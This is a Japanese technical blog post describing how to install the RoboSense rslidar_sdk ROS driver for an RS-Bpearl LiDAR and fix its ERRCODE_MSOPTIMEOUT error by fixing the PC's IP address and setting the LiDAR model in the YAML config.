RS-Bpearlから点群データをROSに流すまで。(Ubuntu 20.04, ROS Focal, RoboSense, ロボセンス)

# 最初の流れ(基本)

1. 公式のROS driverのソースコードを自分のcatkin_wsにダウンロード 
   `$ git clone git@github.com:RoboSense-LiDAR/rslidar_sdk.git`
2. `catkin build` (意外にも一発で通った)
3. `source devel/setup.bash`
4. `roslaunch rslidar_sdk start.launch`

公式サイトによると、これで動くらしい。

# ERRCODE_MSOPTIMEOUT エラーに遭遇

で、案の定そんな上手く行くはずもなく...

![Screenshot from 2023-07-06 13-08-23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103136/6fab5c2d-2a5a-e284-1ea3-c9d483ed2f40.png)

 ERRCODE_MSOPTIMEOUT というエラーメッセージが流れ続ける。
ググっても中国語の説明ばかりで困る。せめて英語であれ。。。

# 解決方法

PCのIPアドレスの固定が必須でした。
PCのIPアドレスを、__192.168.1.102__ に手動で設定&固定してください。

ちなみにこれ、公式サイトに書いてないです!! うーん。。。

ちなみに、LiDAR自体のIPアドレスはデフォルトで _192.168.1.200_ になっています。
PCのIPアドレスを __192.168.1.102__ に設定したら、
`$ ping 192.168.1.200`
とか試してちゃんと通信が通ってるか確認すると良い。
Pingが通らないとケーブル接触とかネットワーク配線とか、そういう次元の問題になってくるので話が違います。

あと、__YAMLファイルのLiDARモデル__ も変更必須です！！

config/config.yaml の10行目、`lidar_type`を`RSBP`に変更します。

![Screenshot from 2023-07-06 13-19-10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103136/1750aad7-999e-1c2f-0af8-881f45f3fd99.png)

このYAMLファイルをroslaunch起動時に自動で読み込むために、`start.launch`ファイルも改変します。
![Screenshot from 2023-07-06 13-19-23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103136/0c89fd1f-fe1f-6555-15d4-1360325739b2.png)

config_pathを`$(find rslidar_sdk)/config/config.yaml`のように設定しました。
あ、ソース読んだ感じ、ここはデフォルトの空白のままでも大丈夫でしたわ。まあいいでしょう。


この状態で改めて`$ roslaunch rslidar_sdk start.launch `を叩くと、Rvizが立ち上がり、きれいに点群が読めました！！！